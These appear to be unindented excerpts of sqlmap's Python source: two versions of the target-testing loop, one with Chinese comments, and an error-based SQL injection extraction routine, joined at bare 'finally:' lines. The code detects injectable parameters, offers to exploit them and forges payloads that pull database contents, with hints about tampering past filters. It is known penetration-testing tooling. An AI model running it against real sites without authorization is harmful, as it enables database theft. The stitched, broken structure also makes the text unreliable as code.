parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if #只有测试用户代理和推荐人头
# --level >= 3 级别>=3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if 仅有主机头
# --level >= 5 级别>=5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2 #只有cookie 级别>=2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))
if skip:
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True # True表示未注入过
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False # False 表示注入过
infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False # False 表示注入过
infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif parameter in conf.skip:
testSqlInj = False # False 表示注入过
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS:
testSqlInj = False # False 表示注入过
infoMsg = "ignoring %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
check = checkDynParam(place, parameter, value) #checkDynParam()函数会判断参数是否是动态的
if not check:
warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) #参数没有出现动态的
logger.warn(warnMsg)
else:
infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) #参数出现动态的
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:# sql注入测试
check = heuristicCheckSqlInjection(place, parameter)#启发性sql注入测试，其实就是先进行一个简单的测试
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % place
infoMsg += "parameter '%s'" % parameter #在 **参数测试SQL注入**”
logger.info(infoMsg)
#判断testSqlInj,如果为true，就代表之前没有检测过，然后就会到checkSqlInjection，checkSqlInjection()才是真正开始测试的函数，传入的参数是注入方法如GET，参数名，参数值
injection = checkSqlInjection(place, parameter, value) #这里开始执行sql注入，当testSqlInj = False的时候，不会执行
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C) #如果当用户想要检测阶段(Ctrl + C)
if not proceed:
break
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "# **参数是脆弱的。你想要测试其他的(如果有的话)?[y / N]
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path, None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable" # **参数是不可注入的
logger.warn(warnMsg)
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data " #没有发现参数提供的测试数据
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" # 例子
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable." #所有测试参数似乎不是注射
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'." #重新运行没有提供选项
if not conf.textOnly and kb.originalPage:
percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)." #请重试开关”——text-only(along with --technique=BU),这种情况下看起来像一个完美的候选人(低文本内容以及比较引擎无法检测至少一个动态参数)
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries." #作为启发式测试结果积极强烈建议你继续测试。请考虑使用篡改脚本作为你的目标可能过滤查询。
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')" #此外,你可以尝试重新运行通过提供一个有效的价值选择
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses" #此外,你可以尝试重新运行选项通过提供一个有效的值,字符串的字符串可能你选择不匹配完全真实的反应
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses" #此外,你可以尝试重新运行通过提供一个有效的值选项“- regexp”也许你选择了不匹配的正则表达式完全真实的反应
raise SqlmapNotVulnerableException(errMsg)
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile() #保存结果
_saveToHashDB() #保存session
_showInjections() #显示注入结果，包括类型，payload
_selectInjection() #
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action() #此函数是判断用户提供的参数
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
return False
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
raise
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getUnicode(ex.message)
if conf.multipleTargets:
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
logger.error(errMsg)
else:
logger.critical(errMsg)
return False
finally:
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True
if conf.url and not any((conf.forms, conf.crawlDepth)):
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
if conf.configFile and not kb.targets:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target URL, list of targets or google dork"
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
hostCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try:
conf.url = targetUrl
conf.method = targetMethod.upper(
) if targetMethod else targetMethod
conf.data = targetData
conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or [])
initTargetEnv()
parseTargetUrl()
testSqlInj = False
if PLACE.GET in conf.parameters and not any(
[conf.data, conf.testParameter]):
for parameter in re.findall(
r"([^=]+)=([^%s]+%s?|\Z)" %
(re.escape(conf.paramDel or "") or
DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "")
or DEFAULT_GET_POST_DELIMITER),
conf.parameters[PLACE.GET]):
paramKey = (conf.hostname, conf.path, PLACE.GET,
parameter[0])
if paramKey not in kb.testedParams:
testSqlInj = True
break
else:
paramKey = (conf.hostname, conf.path, None, None)
if paramKey not in kb.testedParams:
testSqlInj = True
if testSqlInj and conf.hostname in kb.vulnHosts:
if kb.skipVulnHost is None:
message = "SQL injection vulnerability has already been detected "
message += "against '%s'. Do you want to skip " % conf.hostname
message += "further tests involving it? [Y/n]"
kb.skipVulnHost = readInput(message,
default="Y").upper() != 'N'
testSqlInj = not kb.skipVulnHost
if not testSqlInj:
infoMsg = "skipping '%s'" % targetUrl
logger.info(infoMsg)
continue
if conf.multipleTargets:
hostCount += 1
if conf.forms and conf.method:
message = "[#%d] form:\n%s %s" % (hostCount, conf.method,
targetUrl)
else:
message = "URL %d:\n%s %s%s" % (
hostCount, HTTPMETHOD.GET, targetUrl,
" (PageRank: %s)" % get_pagerank(targetUrl)
if conf.googleDork and conf.pageRank else "")
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % (
(conf.method if conf.method != HTTPMETHOD.GET
else conf.method) or HTTPMETHOD.POST,
urlencode(conf.data) if conf.data else "")
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find(
"?") == -1:
continue
message += "\ndo you want to test this form? [Y/n/q] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (
conf.method,
urlencode(conf.data) if conf.data else "None",
" (Warning: blank fields detected)"
if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX, conf.data) else
"")
conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(
conf.data) if conf.data and urlencode(
DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") +
1:]
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
conf.url = "%s?%s" % (firstPart, test)
parseTargetUrl()
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
else:
message += "\ndo you want to test this URL? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
dataToStdout(os.linesep)
continue
elif test[0] in ("q", "Q"):
break
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
setupTargetEnv()
if not checkConnection(suppressOutput=conf.forms
) or not checkString() or not checkRegexp():
continue
checkWaf()
if conf.identifyWaf:
identifyWaf()
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if not any(
(conf.string, conf.notString,
conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
# Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys()
# Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI,
PLACE.POST, PLACE.GET)
for place in orderList[::-1]:
if place in parameters:
parameters.remove(place)
parameters.insert(0, place)
proceed = True
for place in parameters:
# Test User-Agent and Referer headers only if
# --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3)
skip |= (place == PLACE.REFERER and conf.level < 3)
# Test Host header only if
# --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5)
# Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2)
skip |= (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(
PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(
PLACE.HOST, conf.skip, True) not in ([], None))
skip &= not (place == PLACE.USER_AGENT and intersect(
USER_AGENT_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.REFERER and intersect(
REFERER_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.HOST and intersect(
HOST_ALIASES, conf.testParameter, True))
skip &= not (place == PLACE.COOKIE and intersect(
(PLACE.COOKIE, ), conf.testParameter, True))
if skip:
continue
if kb.testOnlyCustom and place not in (
PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict:
continue
paramDict = conf.paramDict[place]
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
for parameter, value in paramDict.items():
if not proceed:
break
kb.vainRun = False
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
if paramKey in kb.testedParams:
testSqlInj = False
infoMsg = "skipping previously processed %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.testParameter:
pass
elif parameter == conf.rParam:
testSqlInj = False
infoMsg = "skipping randomizing %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter in conf.skip:
testSqlInj = False
infoMsg = "skipping %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif parameter == conf.csrfToken:
testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg)
# Ignore session-like parameters for --level < 4
elif conf.level < 4 and (
parameter.upper() in IGNORE_PARAMETERS
or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
warnMsg = "%s parameter '%s' does not appear dynamic" % (
paramType, parameter)
logger.warn(warnMsg)
if conf.skipStatic:
infoMsg = "skipping static %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
testSqlInj = False
else:
infoMsg = "%s parameter '%s' is dynamic" % (
paramType, parameter)
logger.info(infoMsg)
kb.testedParams.add(paramKey)
if testSqlInj:
try:
if place == PLACE.COOKIE:
pushValue(kb.mergeCookies)
kb.mergeCookies = False
check = heuristicCheckSqlInjection(
place, parameter)
if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (
kb.ignoreCasted and check
== HEURISTIC_TEST.CASTED):
infoMsg = "skipping %s parameter '%s'" % (
paramType, parameter)
logger.info(infoMsg)
continue
infoMsg = "testing for SQL injection on %s " % paramType
infoMsg += "parameter '%s'" % parameter
logger.info(infoMsg)
injection = checkSqlInjection(
place, parameter, value)
proceed = not kb.endDetection
if injection is not None and injection.place is not None:
kb.injections.append(injection)
# In case when user wants to end detection phase (Ctrl+C)
if not proceed:
break
msg = "%s parameter '%s' " % (
injection.place, injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
test = readInput(msg, default="N")
if test[0] not in ("y", "Y"):
proceed = False
paramKey = (conf.hostname, conf.path,
None, None)
kb.testedParams.add(paramKey)
else:
warnMsg = "%s parameter '%s' is not " % (
paramType, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
finally:
if place == PLACE.COOKIE:
kb.mergeCookies = popValue()
if len(kb.injections) == 0 or (len(kb.injections) == 1
and kb.injections[0].place is None):
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters appear to be not injectable."
if conf.level < 5 or conf.risk < 3:
errMsg += " Try to increase '--level'/'--risk' values "
errMsg += "to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
percent = (
100.0 *
len(getFilteredPageContent(kb.originalPage)) /
len(kb.originalPage))
if kb.dynamicMarkings:
errMsg += " You can give it a go with the switch '--text-only' "
errMsg += "if the target page has a low percentage "
errMsg += "of textual content (~%.2f%% of " % percent
errMsg += "page content is text)."
elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
errMsg += " Please retry with the switch '--text-only' "
errMsg += "(along with --technique=BU) as this case "
errMsg += "looks like a perfect candidate "
errMsg += "(low textual content along with inability "
errMsg += "of comparison engine to detect at least "
errMsg += "one dynamic parameter)."
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
errMsg += " As heuristic test turned out positive you are "
errMsg += "strongly advised to continue on with the tests. "
errMsg += "Please, consider usage of tampering scripts as "
errMsg += "your target might filter the queries."
if not conf.string and not conf.notString and not conf.regexp:
errMsg += " Also, you can try to rerun by providing "
errMsg += "either a valid value for option '--string' "
errMsg += "(or '--regexp')"
elif conf.string:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--string' as perhaps the string you "
errMsg += "have chosen does not match "
errMsg += "exclusively True responses"
elif conf.regexp:
errMsg += " Also, you can try to rerun by providing a "
errMsg += "valid value for option '--regexp' as perhaps the regular "
errMsg += "expression that you have chosen "
errMsg += "does not match exclusively True responses"
if not conf.tamper:
errMsg += " If you suspect that there is some kind of protection mechanism "
errMsg += "involved (e.g. WAF) maybe you could retry "
errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"
raise SqlmapNotVulnerableException(errMsg)
else:
# Flush the flag
kb.testMode = False
_saveToResultsFile()
_saveToHashDB()
_showInjections()
_selectInjection()
if kb.injection.place is not None and kb.injection.parameter is not None:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
action()
except KeyboardInterrupt:
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
message = "do you want to skip to the next target in list? [Y/n/q]"
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
pass
elif test[0] in ("n", "N"):
return False
elif test[0] in ("q", "Q"):
raise SqlmapUserQuitException
else:
raise
except SqlmapUserQuitException:
raise
except SqlmapSilentQuitException:
raise
except SqlmapBaseException, ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
errMsg += ", skipping to the next %s" % ("form" if conf.forms
else "URL")
logger.error(errMsg)
else:
logger.critical(errMsg)
return False
finally:
def _oneShotErrorUse(expression, field=None):
offset = 1
partialValue = None
threadData = getCurrentThreadData()
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" %
_formatPartialContent(partialValue))
offset += len(partialValue)
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
_ in field for _ in ("COUNT", "CASE")
): # skip chunking of scalar expression (unneeded)
extendedField = re.search(
r"[^ ,]*%s[^ ,]*" % re.escape(field),
expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(
field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset,
chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[kb.technique].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField,
1) if field else expression
injExpression = unescaper.escape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
incrementCounter(kb.technique)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
None)
if output is not None:
output = getUnicode(output)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
if any(
Backend.isDbms(dbms)
for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(
_formatPartialContent(output).replace(
r"\n", "\n").replace(r"\t", "\t"))
else:
retVal = output
break
except:
if retVal is not None:
hashDBWrite(expression,
"%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
if retVal is not None:
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal,
re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
